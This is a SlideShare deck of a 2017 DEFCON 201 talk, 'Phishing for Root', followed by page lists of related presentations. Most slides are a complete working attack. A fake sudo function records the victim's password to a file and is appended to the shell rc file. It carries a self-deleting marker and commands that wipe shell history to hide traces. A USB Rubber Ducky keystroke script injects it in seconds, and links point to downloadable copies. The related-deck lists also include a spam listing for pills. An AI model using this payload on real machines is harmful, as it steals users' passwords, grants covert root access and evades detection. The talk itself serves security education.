SlideShare ist ein Scribd-Unternehmen logo
1 von 34
Downloaden Sie, um offline zu lesen
Phishing for Root
(How I Got Access to Root on Your Computer With 8 Seconds of Physical Access)
20 Oct 2017 - DEFCON 201 Technical Meeting - Hoboken, NJ
Presented By
Vi Grey
Independent Security Researcher
Software Engineer
https://vigrey.com
Who Am I?
● Information Security Researcher
● Software Developer
● Physical Security Enthusiast
● Primary Focus of Research: Applied Cryptography
● Web Developer and Designer
Two Key Words
Phishing
Root
Phishing (Spot the Difference)
An attempt to steal information by impersonating a trustworthy entity
Root
● The root user is the superuser on Mac or Linux
● Root has unrestricted access to the computer system
● Root owns the machine and its processes
● Some processes require root access to run
● You probably don't want to be logged in as root because of its power
(Fortunately for us, we just want the power)
"With Great Power There Must Also
Come--Great Responsibility!"
Sudo
● Sudo stands for su "do"
● su stands for Substitute User
● Used to run commands as another user
○ Including root (usually by default)
Running Sudo
$ sudo echo 'Test'
[sudo] password for vi:
Sorry, try again
[sudo] password for vi:
Test
Alias
● Lets you map a command to a name
● Essentially a nickname for commands
● Simplifies having to type long commands
● Existing command names can be aliased over, including sudo
alias list='ls -la'
alias m='make; chmod 600 bin/*; cp bin/* ~/test/'
alias sudo='echo "fake sudo"'
Functions
● Similar to aliases, but usually contains more logic
● Better handling of inputs than aliases
● Can also be named the same as a command name, including sudo
e() {
if [ $1='test' ]; then
echo 'input is test'
else
echo 'input is not test'
fi
}
Spoofing Sudo
sudo() {
echo -n "[sudo] password for $USER: "
read -s pass
echo
sleep 2
echo "Sorry, try again."
}
1
2
3
4
5
6
7
Running the Real Sudo
● Unset fake sudo function after running
● Run the real sudo after the fake fail message
● Force password prompt for real sudo
● Pass arguments to real sudo
sudo() {
unset -f sudo
echo -n "[sudo] password for $USER: "
read -s pass
echo
sleep 2
echo "Sorry, try again."
sudo -k $@
}
1
2
3
4
5
6
7
8
9
Using the $pass Variable
● Fake password prompt stores password in $pass… Let's use it!
○ How about storing the value in a file?
● Unset $pass when no longer needed
sudo() {
unset -f sudo
echo -n "[sudo] password for $USER: "
read -s pass
echo -n $pass > $HOME/p.txt
unset pass
echo
sleep 2
echo "Sorry, try again."
sudo -k $@
}
1
2
3
4
5
6
7
8
9
10
11
Someone might use /usr/bin/sudo
● Function names can have slashes in them
○ Let's make a /usr/bin/sudo function
● The fake /usr/bin/sudo can just call the fake sudo
○ No need to rewrite everything
● Unset the fake /usr/bin/sudo after fake sudo is run
sudo() {
unset -f sudo
unset -f /usr/bin/sudo
echo -n "[sudo] password for $USER: "
read -s pass
echo -n $pass > $HOME/p.txt
unset pass
echo
sleep 2
echo "Sorry, try again."
sudo -k $@
}
/usr/bin/sudo() {
sudo $@
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Make the Shell Code a Single Line!
● This is just shell code, so let's make this one line
● A single line will help us clean up a little later
sudo(){ unset -f sudo;unset -f /usr/bin/sudo;echo -n "[sudo]
password for $USER: ";read -s pass;echo -n
$pass>$HOME/p.txt;unset pass;echo;sleep 2;echo "Sorry, try
again.";sudo $@;};/usr/bin/sudo(){ sudo $@;}
1
Determine What Shell a User Has
● We want to store this exploit in the SHELLrc file
○ .bashrc for bash, .shrc for sh, .zshrc for zsh, etc…
● The SHELLrc file runs shell scripts when a terminal is started
● We need to echo our exploit and append it to the SHELLrc file
s=$HOME/.$(basename $SHELL)rc
echo "sudo(){ unset -f sudo;unset -f /usr/bin/sudo;echo -n
"[sudo] password for $USER: ";read -s pass;echo -n
$pass>$HOME/p.txt;unset pass;echo;sleep 2;echo "Sorry, try
again.";sudo -k $@;};/usr/bin/sudo(){ sudo $@'}" >> $s
1
2
Let the Exploit Identify Itself
● Create a random marker (4 bytes of hex is good enough)
● The exploit deletes a line with the marker in the SHELLrc file
○ This is why the echoed exploit is a single line
h=$(hexdump -n 4 -e '/1 "%02X"' /dev/urandom)
s=$HOME/.$(basename $SHELL)rc
echo "sudo(){ unset -f sudo;unset -f /usr/bin/sudo;sed -i -n
/$h/!p $s;echo -n "[sudo] password for $USER: ";read -s
pass;echo -n $pass>$HOME/p.txt;unset pass;echo;sleep 2;echo
"Sorry, try again.";sudo -k $@;};/usr/bin/sudo(){ sudo $@;}"
>> $s
1
2
3
What if 2 Terminals are Open?
● The fake sudo won't unset itself from the second terminal
● Only run the fake sudo if the random marker is in the SHELLrc file
h=$(hexdump -n 4 -e '/1 "%02X"' /dev/urandom)
s=$HOME/.$(basename $SHELL)rc
echo "sudo(){ unset -f sudo;unset -f /usr/bin/sudo;if ! grep -q
$h $s;then sudo $@; else sed -i -n /$h/!p $s;unset -f
sudo;unset -f /usr/bin/sudo;echo -n "[sudo] password for $USER:
";read -s pass;echo -n $pass>$HOME/p.txt;unset pass;echo;sleep
2;echo "Sorry, try again.";fi;sudo -k $@;fi;};/usr/bin/sudo(){
sudo $@;}" >> $s
1
2
3
Shrink the Shell Code Length
● Turn words and commands used multiple times into short variables
● It's shell code, we can shrink this down to one line again
h=$(hexdump -n 4 -e '/1 "%02X"' /dev/urandom);s=$HOME/.$(basename
$SHELL)rc;r=sudo;e=echo;t=/usr/bin/$r;u=unset;$e "$r(){ $u -f
$r;$u -f $t;if ! grep -q $h $s;then $r $@; else sed -i -n
/$h/!p $s;$e -n "[$r] password for $USER: ";read -s p;$e -n
$p>$HOME/p.txt;$u p;$e;sleep 2;$e "Sorry, try again.";$r -k
$@;fi;};$t(){ $r $@;}">>$s
1
Wouldn't This Line Be in the Shell History?
● Yes… Let's fix that
● Disable the Shell history before running the exploit
● That disable command will be stored in the Shell history...
● Delete the disable command from the Shell history file
● Prevent shells from adding history after the terminal is closed
a=$HISTFILE;unset HISTFILE
h=$(hexdump -n 4 -e '/1 "%02X"' /dev/urandom);s=$HOME/.$(basename
$SHELL)rc;r=sudo;e=echo;t=/usr/bin/$r;u=unset;$e "$r(){ $u -f
$r;$u -f $t;if ! grep -q $h $s;then $r $@; else sed -i -n
/$h/!p $s;$e -n "[$r] password for $USER: ";read -s p;$e -n
$p>$HOME/p.txt;$u p;$e;sleep 2;$e "Sorry, try again.";$r -k
$@;fi;};$t(){ $r $@;}">>$s
sed -i -n /HISTFILE/!p $a;history -c;exit
1
2
3
What Did We Just Do?
● We created an exploit to fake sudo in just 3 lines of shell script
● Setup traces of the exploit are removed
● After running, the exploit deletes itself
● Exploit works even with /usr/bin/sudo
● We made the exploit shell agnostic
Who Knows What Device This Is?
Image: Hak5 via HakShop
USB Rubber Ducky
● A Keystroke Injector (Programmable Keyboard)
● Uses the USB Human Interface Device (HID) Specification
● Trusted by computers (Plug-and-Play)
REM Target: Ubuntu Desktop >= 11.04
DELAY 1000
CTRL-ALT t
DELAY 1000
STRING a=$HISTFILE;unset HISTFILE
ENTER
STRING h=$(hexdump -n 4 -e '/1 "%02X"'
/dev/urandom);s=$HOME/.$(basename
$SHELL)rc;r=sudo;e=echo;t=/usr/bin/$r;u=unset;$e "$r(){ $u -f
$r;$u -f $t;if ! grep -q $h $s;then $r $@; else sed -i -n
/$h/!p $s;$e -n "[$r] password for $USER: ";read -s p;$e -n
$p>$HOME/p.txt;$u p;$e;sleep 2;$e "Sorry, try again.";$r -k
$@;fi;};$t(){ $r $@;}">>$s
ENTER
STRING sed -i -n /HISTFILE/!p $a;history -c;exit
ENTER
1
2
3
4
5
6
7
9
10
11
Get the Root Phisher Code
Talk based on my blog post "Phishing for Root: Using Shell Functions
Against Mac and Linux"
● Root Phisher Shell Script Lines:
https://gist.github.com/ViGrey/213cfd61668c08c09b76fdc30781ac64
● Root Phisher Ducky Script:
https://gist.github.com/ViGrey/a988c76c87898a2156da7724c57f16b4
● Easier access to Root Phisher code: https://vigrey.com/rootphisher
vigrey.com
GitHub.com/ViGrey
Twitter.com/ViGreyInfoSec

Weitere ähnliche Inhalte

Was ist angesagt?

Provisionamento orquestrado nas nuvens com Juju
Provisionamento orquestrado nas nuvens com JujuProvisionamento orquestrado nas nuvens com Juju
Provisionamento orquestrado nas nuvens com Juju
Thiago Rondon
 
Puppet Camp Amsterdam 2015: Manifests of Future Past
Puppet Camp Amsterdam 2015: Manifests of Future PastPuppet Camp Amsterdam 2015: Manifests of Future Past
Puppet Camp Amsterdam 2015: Manifests of Future Past
Puppet
 
Huong dan cai dat hadoop
Huong dan cai dat hadoopHuong dan cai dat hadoop
Huong dan cai dat hadoop
Quỳnh Phan
 

Was ist angesagt? (20)

Klug pgsql tut
Klug pgsql tutKlug pgsql tut
Klug pgsql tut
 
Efficient DBA: Gain Time by Reducing Command-Line Keystrokes
Efficient DBA: Gain Time by Reducing Command-Line KeystrokesEfficient DBA: Gain Time by Reducing Command-Line Keystrokes
Efficient DBA: Gain Time by Reducing Command-Line Keystrokes
 
Стажировка 2016-07-27 02 Денис Нелюбин. PostgreSQL и jsonb
Стажировка 2016-07-27 02 Денис Нелюбин. PostgreSQL и jsonbСтажировка 2016-07-27 02 Денис Нелюбин. PostgreSQL и jsonb
Стажировка 2016-07-27 02 Денис Нелюбин. PostgreSQL и jsonb
 
Clojure入門
Clojure入門Clojure入門
Clojure入門
 
Linux system admin
Linux system adminLinux system admin
Linux system admin
 
Laporan setting dns
Laporan setting dnsLaporan setting dns
Laporan setting dns
 
Shell and perl scripting classes in mumbai
Shell and perl scripting classes in mumbaiShell and perl scripting classes in mumbai
Shell and perl scripting classes in mumbai
 
Beyond Golden Containers: Complementing Docker with Puppet
Beyond Golden Containers: Complementing Docker with PuppetBeyond Golden Containers: Complementing Docker with Puppet
Beyond Golden Containers: Complementing Docker with Puppet
 
Provisionamento orquestrado nas nuvens com Juju
Provisionamento orquestrado nas nuvens com JujuProvisionamento orquestrado nas nuvens com Juju
Provisionamento orquestrado nas nuvens com Juju
 
DEF CON 27 - PATRICK WARDLE - harnessing weapons of Mac destruction
DEF CON 27 - PATRICK WARDLE - harnessing weapons of Mac destructionDEF CON 27 - PATRICK WARDLE - harnessing weapons of Mac destruction
DEF CON 27 - PATRICK WARDLE - harnessing weapons of Mac destruction
 
Linux basic3
Linux basic3Linux basic3
Linux basic3
 
Git installation
Git installationGit installation
Git installation
 
Puppet Camp Amsterdam 2015: Manifests of Future Past
Puppet Camp Amsterdam 2015: Manifests of Future PastPuppet Camp Amsterdam 2015: Manifests of Future Past
Puppet Camp Amsterdam 2015: Manifests of Future Past
 
Talk NullByteCon 2015
Talk NullByteCon 2015Talk NullByteCon 2015
Talk NullByteCon 2015
 
What is suid, sgid and sticky bit
What is suid, sgid and sticky bit  What is suid, sgid and sticky bit
What is suid, sgid and sticky bit
 
20171014 tips for manipulating filesystem in julia
20171014 tips for manipulating filesystem in julia20171014 tips for manipulating filesystem in julia
20171014 tips for manipulating filesystem in julia
 
Huong dan cai dat hadoop
Huong dan cai dat hadoopHuong dan cai dat hadoop
Huong dan cai dat hadoop
 
Mac OS X Lion で作る WordPress local 環境
Mac OS X Lion で作る WordPress local 環境Mac OS X Lion で作る WordPress local 環境
Mac OS X Lion で作る WordPress local 環境
 
RG講義_SSH
RG講義_SSHRG講義_SSH
RG講義_SSH
 
Creating beautiful puppet modules with puppet-lint
Creating beautiful puppet modules with puppet-lintCreating beautiful puppet modules with puppet-lint
Creating beautiful puppet modules with puppet-lint
 

Ähnlich wie Phishing for Root (How I Got Access to Root on Your Computer With 8 Seconds of Physical Access)

Linux system admin useful commands
Linux system admin useful commandsLinux system admin useful commands
Linux system admin useful commands
ali98091
 

Ähnlich wie Phishing for Root (How I Got Access to Root on Your Computer With 8 Seconds of Physical Access) (20)

Really useful linux commands
Really useful linux commandsReally useful linux commands
Really useful linux commands
 
Shell scripting
Shell scriptingShell scripting
Shell scripting
 
Linux Hardening - Made Easy
Linux Hardening - Made EasyLinux Hardening - Made Easy
Linux Hardening - Made Easy
 
Bash Scripting Workshop
Bash Scripting WorkshopBash Scripting Workshop
Bash Scripting Workshop
 
Unix tips and tricks
Unix tips and tricksUnix tips and tricks
Unix tips and tricks
 
Linux system admin useful commands
Linux system admin useful commandsLinux system admin useful commands
Linux system admin useful commands
 
Python build your security tools.pdf
Python build your security tools.pdfPython build your security tools.pdf
Python build your security tools.pdf
 
Adhocr T-dose 2012
Adhocr T-dose 2012Adhocr T-dose 2012
Adhocr T-dose 2012
 
Installing odoo v8 from github
Installing odoo v8 from githubInstalling odoo v8 from github
Installing odoo v8 from github
 
NYPHP March 2009 Presentation
NYPHP March 2009 PresentationNYPHP March 2009 Presentation
NYPHP March 2009 Presentation
 
Linux configer
Linux configerLinux configer
Linux configer
 
Apache Hadoop Shell Rewrite
Apache Hadoop Shell RewriteApache Hadoop Shell Rewrite
Apache Hadoop Shell Rewrite
 
Solaris_quickref.pdf
Solaris_quickref.pdfSolaris_quickref.pdf
Solaris_quickref.pdf
 
linux-namespaces.pdf
linux-namespaces.pdflinux-namespaces.pdf
linux-namespaces.pdf
 
Perl basics for Pentesters
Perl basics for PentestersPerl basics for Pentesters
Perl basics for Pentesters
 
One-Liners to Rule Them All
One-Liners to Rule Them AllOne-Liners to Rule Them All
One-Liners to Rule Them All
 
Unix 5 en
Unix 5 enUnix 5 en
Unix 5 en
 
A journey through the years of UNIX and Linux service management
A journey through the years of UNIX and Linux service managementA journey through the years of UNIX and Linux service management
A journey through the years of UNIX and Linux service management
 
Ubuntu Practice and Configuration
Ubuntu Practice and ConfigurationUbuntu Practice and Configuration
Ubuntu Practice and Configuration
 
Configuration surgery with Augeas (OggCamp 12)
Configuration surgery with Augeas (OggCamp 12)Configuration surgery with Augeas (OggCamp 12)
Configuration surgery with Augeas (OggCamp 12)
 

Kürzlich hochgeladen

+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
?#DUbAI#??##{{(☎️+971_581248768%)**%*]'#abortion pills for sale in dubai@
 
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers:  A Deep Dive into Serverless Spatial Data and FMECloud Frontiers:  A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
Safe Software
 

Kürzlich hochgeladen (20)

TrustArc Webinar - Unlock the Power of AI-Driven Data Discovery
TrustArc Webinar - Unlock the Power of AI-Driven Data DiscoveryTrustArc Webinar - Unlock the Power of AI-Driven Data Discovery
TrustArc Webinar - Unlock the Power of AI-Driven Data Discovery
 
Emergent Methods: Multi-lingual narrative tracking in the news - real-time ex...
Emergent Methods: Multi-lingual narrative tracking in the news - real-time ex...Emergent Methods: Multi-lingual narrative tracking in the news - real-time ex...
Emergent Methods: Multi-lingual narrative tracking in the news - real-time ex...
 
Corporate and higher education May webinar.pptx
Corporate and higher education May webinar.pptxCorporate and higher education May webinar.pptx
Corporate and higher education May webinar.pptx
 
Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...
Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...
Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...
 
Apidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, Adobe
Apidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, AdobeApidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, Adobe
Apidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, Adobe
 
presentation ICT roal in 21st century education
presentation ICT roal in 21st century educationpresentation ICT roal in 21st century education
presentation ICT roal in 21st century education
 
GenAI Risks & Security Meetup 01052024.pdf
GenAI Risks & Security Meetup 01052024.pdfGenAI Risks & Security Meetup 01052024.pdf
GenAI Risks & Security Meetup 01052024.pdf
 
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
 
FWD Group - Insurer Innovation Award 2024
FWD Group - Insurer Innovation Award 2024FWD Group - Insurer Innovation Award 2024
FWD Group - Insurer Innovation Award 2024
 
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers:  A Deep Dive into Serverless Spatial Data and FMECloud Frontiers:  A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
 
AXA XL - Insurer Innovation Award Americas 2024
AXA XL - Insurer Innovation Award Americas 2024AXA XL - Insurer Innovation Award Americas 2024
AXA XL - Insurer Innovation Award Americas 2024
 
ProductAnonymous-April2024-WinProductDiscovery-MelissaKlemke
ProductAnonymous-April2024-WinProductDiscovery-MelissaKlemkeProductAnonymous-April2024-WinProductDiscovery-MelissaKlemke
ProductAnonymous-April2024-WinProductDiscovery-MelissaKlemke
 
Boost Fertility New Invention Ups Success Rates.pdf
Boost Fertility New Invention Ups Success Rates.pdfBoost Fertility New Invention Ups Success Rates.pdf
Boost Fertility New Invention Ups Success Rates.pdf
 
ICT role in 21st century education and its challenges
ICT role in 21st century education and its challengesICT role in 21st century education and its challenges
ICT role in 21st century education and its challenges
 
Artificial Intelligence Chap.5 : Uncertainty
Artificial Intelligence Chap.5 : UncertaintyArtificial Intelligence Chap.5 : Uncertainty
Artificial Intelligence Chap.5 : Uncertainty
 
Automating Google Workspace (GWS) & more with Apps Script
Automating Google Workspace (GWS) & more with Apps ScriptAutomating Google Workspace (GWS) & more with Apps Script
Automating Google Workspace (GWS) & more with Apps Script
 
Axa Assurance Maroc - Insurer Innovation Award 2024
Axa Assurance Maroc - Insurer Innovation Award 2024Axa Assurance Maroc - Insurer Innovation Award 2024
Axa Assurance Maroc - Insurer Innovation Award 2024
 
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
 
Connector Corner: Accelerate revenue generation using UiPath API-centric busi...
Connector Corner: Accelerate revenue generation using UiPath API-centric busi...Connector Corner: Accelerate revenue generation using UiPath API-centric busi...
Connector Corner: Accelerate revenue generation using UiPath API-centric busi...
 
Real Time Object Detection Using Open CV
Real Time Object Detection Using Open CVReal Time Object Detection Using Open CV
Real Time Object Detection Using Open CV
 

Phishing for Root (How I Got Access to Root on Your Computer With 8 Seconds of Physical Access)

  • 1. Phishing for Root (How I Got Access to Root on Your Computer With 8 Seconds of Physical Access) 20 Oct 2017 - DEFCON 201 Technical Meeting - Hoboken, NJ Presented By Vi Grey Independent Security Researcher Software Engineer https://vigrey.com
  • 2. Who Am I? ● Information Security Researcher ● Software Developer ● Physical Security Enthusiast ● Primary Focus of Research: Applied Cryptography ● Web Developer and Designer
  • 4. Phishing (Spot the Difference) An attempt to steal information by impersonating a trustworthy entity
  • 5. Root ● The root user is the superuser on Mac or Linux ● Root has unrestricted access to the computer system ● Root owns the machine and its processes ● Some processes require root access to run ● You probably don't want to be logged in as root because of its power
  • 6. (Fortunately for us, we just want the power) "With Great Power There Must Also Come--Great Responsibility!"
  • 7. Sudo ● Sudo stands for su "do" ● su stands for Substitute User ● Used to run commands as another user ○ Including root (usually by default)
  • 8. Running Sudo $ sudo echo 'Test' [sudo] password for vi: Sorry, try again [sudo] password for vi: Test
  • 9. Alias ● Lets you map a command to a name ● Essentially a nickname for commands ● Simplifies having to type long commands ● Existing command names can be aliased over, including sudo alias list='ls -la' alias m='make; chmod 600 bin/*; cp bin/* ~/test/' alias sudo='echo "fake sudo"'
  • 10. Functions ● Similar to aliases, but usually contains more logic ● Better handling of inputs than aliases ● Can also be named the same as a command name, including sudo e() { if [ $1='test' ]; then echo 'input is test' else echo 'input is not test' fi }
  • 11. Spoofing Sudo sudo() { echo -n "[sudo] password for $USER: " read -s pass echo sleep 2 echo "Sorry, try again." } 1 2 3 4 5 6 7
  • 12. Running the Real Sudo ● Unset fake sudo function after running ● Run the real sudo after the fake fail message ● Force password prompt for real sudo ● Pass arguments to real sudo
  • 13. sudo() { unset -f sudo echo -n "[sudo] password for $USER: " read -s pass echo sleep 2 echo "Sorry, try again." sudo -k $@ } 1 2 3 4 5 6 7 8 9
  • 14. Using the $pass Variable ● Fake password prompt stores password in $pass… Let's use it! ○ How about storing the value in a file? ● Unset $pass when no longer needed
  • 15. sudo() { unset -f sudo echo -n "[sudo] password for $USER: " read -s pass echo -n $pass > $HOME/p.txt unset pass echo sleep 2 echo "Sorry, try again." sudo -k $@ } 1 2 3 4 5 6 7 8 9 10 11
  • 16. Someone might use /usr/bin/sudo ● Function names can have slashes in them ○ Let's make a /usr/bin/sudo function ● The fake /usr/bin/sudo can just call the fake sudo ○ No need to rewrite everything ● Unset the fake /usr/bin/sudo after fake sudo is run
  • 17. sudo() { unset -f sudo unset -f /usr/bin/sudo echo -n "[sudo] password for $USER: " read -s pass echo -n $pass > $HOME/p.txt unset pass echo sleep 2 echo "Sorry, try again." sudo -k $@ } /usr/bin/sudo() { sudo $@ } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
  • 18. Make the Shell Code a Single Line! ● This is just shell code, so let's make this one line ● A single line will help us clean up a little later
  • 19. sudo(){ unset -f sudo;unset -f /usr/bin/sudo;echo -n "[sudo] password for $USER: ";read -s pass;echo -n $pass>$HOME/p.txt;unset pass;echo;sleep 2;echo "Sorry, try again.";sudo $@;};/usr/bin/sudo(){ sudo $@;} 1
  • 20. Determine What Shell a User Has ● We want to store this exploit in the SHELLrc file ○ .bashrc for bash, .shrc for sh, .zshrc for zsh, etc… ● The SHELLrc file runs shell scripts when a terminal is started ● We need to echo our exploit and append it to the SHELLrc file
  • 21. s=$HOME/.$(basename $SHELL)rc echo "sudo(){ unset -f sudo;unset -f /usr/bin/sudo;echo -n "[sudo] password for $USER: ";read -s pass;echo -n $pass>$HOME/p.txt;unset pass;echo;sleep 2;echo "Sorry, try again.";sudo -k $@;};/usr/bin/sudo(){ sudo $@'}" >> $s 1 2
  • 22. Let the Exploit Identify Itself ● Create a random marker (4 bytes of hex is good enough) ● The exploit deletes a line with the marker in the SHELLrc file ○ This is why the echoed exploit is a single line
  • 23. h=$(hexdump -n 4 -e '/1 "%02X"' /dev/urandom) s=$HOME/.$(basename $SHELL)rc echo "sudo(){ unset -f sudo;unset -f /usr/bin/sudo;sed -i -n /$h/!p $s;echo -n "[sudo] password for $USER: ";read -s pass;echo -n $pass>$HOME/p.txt;unset pass;echo;sleep 2;echo "Sorry, try again.";sudo -k $@;};/usr/bin/sudo(){ sudo $@;}" >> $s 1 2 3
  • 24. What if 2 Terminals are Open? ● The fake sudo won't unset itself from the second terminal ● Only run the fake sudo if the random marker is in the SHELLrc file
  • 25. h=$(hexdump -n 4 -e '/1 "%02X"' /dev/urandom) s=$HOME/.$(basename $SHELL)rc echo "sudo(){ unset -f sudo;unset -f /usr/bin/sudo;if ! grep -q $h $s;then sudo $@; else sed -i -n /$h/!p $s;unset -f sudo;unset -f /usr/bin/sudo;echo -n "[sudo] password for $USER: ";read -s pass;echo -n $pass>$HOME/p.txt;unset pass;echo;sleep 2;echo "Sorry, try again.";fi;sudo -k $@;fi;};/usr/bin/sudo(){ sudo $@;}" >> $s 1 2 3
  • 26. Shrink the Shell Code Length ● Turn words and commands used multiple times into short variables ● It's shell code, we can shrink this down to one line again
  • 27. h=$(hexdump -n 4 -e '/1 "%02X"' /dev/urandom);s=$HOME/.$(basename $SHELL)rc;r=sudo;e=echo;t=/usr/bin/$r;u=unset;$e "$r(){ $u -f $r;$u -f $t;if ! grep -q $h $s;then $r $@; else sed -i -n /$h/!p $s;$e -n "[$r] password for $USER: ";read -s p;$e -n $p>$HOME/p.txt;$u p;$e;sleep 2;$e "Sorry, try again.";$r -k $@;fi;};$t(){ $r $@;}">>$s 1
  • 28. Wouldn't This Line Be in the Shell History? ● Yes… Let's fix that ● Disable the Shell history before running the exploit ● That disable command will be stored in the Shell history... ● Delete the disable command from the Shell history file ● Prevent shells from adding history after the terminal is closed
  • 29. a=$HISTFILE;unset HISTFILE h=$(hexdump -n 4 -e '/1 "%02X"' /dev/urandom);s=$HOME/.$(basename $SHELL)rc;r=sudo;e=echo;t=/usr/bin/$r;u=unset;$e "$r(){ $u -f $r;$u -f $t;if ! grep -q $h $s;then $r $@; else sed -i -n /$h/!p $s;$e -n "[$r] password for $USER: ";read -s p;$e -n $p>$HOME/p.txt;$u p;$e;sleep 2;$e "Sorry, try again.";$r -k $@;fi;};$t(){ $r $@;}">>$s sed -i -n /HISTFILE/!p $a;history -c;exit 1 2 3
  • 30. What Did We Just Do? ● We created an exploit to fake sudo in just 3 lines of shell script ● Setup traces of the exploit are removed ● After running, the exploit deletes itself ● Exploit works even with /usr/bin/sudo ● We made the exploit shell agnostic
  • 31. Who Knows What Device This Is? Image: Hak5 via HakShop
  • 32. USB Rubber Ducky ● A Keystroke Injector (Programmable Keyboard) ● Uses the USB Human Interface Device (HID) Specification ● Trusted by computers (Plug-and-Play)
  • 33. REM Target: Ubuntu Desktop >= 11.04 DELAY 1000 CTRL-ALT t DELAY 1000 STRING a=$HISTFILE;unset HISTFILE ENTER STRING h=$(hexdump -n 4 -e '/1 "%02X"' /dev/urandom);s=$HOME/.$(basename $SHELL)rc;r=sudo;e=echo;t=/usr/bin/$r;u=unset;$e "$r(){ $u -f $r;$u -f $t;if ! grep -q $h $s;then $r $@; else sed -i -n /$h/!p $s;$e -n "[$r] password for $USER: ";read -s p;$e -n $p>$HOME/p.txt;$u p;$e;sleep 2;$e "Sorry, try again.";$r -k $@;fi;};$t(){ $r $@;}">>$s ENTER STRING sed -i -n /HISTFILE/!p $a;history -c;exit ENTER 1 2 3 4 5 6 7 9 10 11
  • 34. Get the Root Phisher Code Talk based on my blog post "Phishing for Root: Using Shell Functions Against Mac and Linux" ● Root Phisher Shell Script Lines: https://gist.github.com/ViGrey/213cfd61668c08c09b76fdc30781ac64 ● Root Phisher Ducky Script: https://gist.github.com/ViGrey/a988c76c87898a2156da7724c57f16b4 ● Easier access to Root Phisher code: https://vigrey.com/rootphisher vigrey.com GitHub.com/ViGrey Twitter.com/ViGreyInfoSec